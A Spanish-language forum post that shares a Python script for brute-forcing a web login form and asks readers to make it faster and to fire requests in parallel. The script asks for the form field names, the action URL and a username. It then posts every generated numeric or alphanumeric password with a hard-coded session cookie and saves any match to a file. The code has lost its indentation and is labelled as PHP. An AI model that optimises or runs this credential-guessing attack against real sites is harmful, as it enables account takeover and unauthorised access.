La cuestión es que funciona muy lento, pero funciona.
Os dejo el codigo, la cuestión es a ver quien puede acelerar mi programa, o al menos hacer varias peticiones a la vez y no que se tenga que esperar a que acabe una solicitud para enviar otra.
Código PHP:
#!/usr/bin/python
import os,sys,urllib
import itertools
import urllib.request,urllib.parse,urllib.error
def bruteforce(charset, maxlength):
return (''.join(candidate)
for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
for i in range(1, maxlength + 1)))
print('1º Numérica')
print('2º Alfabética')
print('3º Alfanumérica')
typep = input("Introduce numero del tipo de metodo que quieres: ")
if typep=='1':
lista='0123456789'
if typep=='2':
lista='qwertyuiopasdfghjklñzxcvbnm'
if typep=='3':
lista='qwertyuiopasdfghjklñzxcvbnm0123456789'
maxi = int(input("Introduce el máximo de carácteres de la contraseña: "))
usuarioi = input("Introduce el nombre del formulario email / usuario: ")
clavei = input("Introduce el nombre del formulario contraseña: ")
url = input("Introduce la url del action del formulario: ")
user = input("Introduce email / usuario: ")
print('Conectando a', url)
for password in bruteforce(lista, maxi):
try:
password=''.join(password)
print('Probando ',user,' : ',password)
data = urllib.parse.urlencode({usuarioi: user, clavei: password})
binary_data = data.encode('utf8')
response = urllib.request.urlopen(url)
html2 = response.read()
req = urllib.request.Request(url, binary_data)
req.add_header('Cookie', 'security=low; PHPSESSID=fefsfesfseee')
response1 = urllib.request.urlopen(req)
html1 = response1.read()
if html2 != html1:
print('La clave es ',password)
pas = open('done.txt','a')
pas.write(password)
pas.close()
break
except:
pass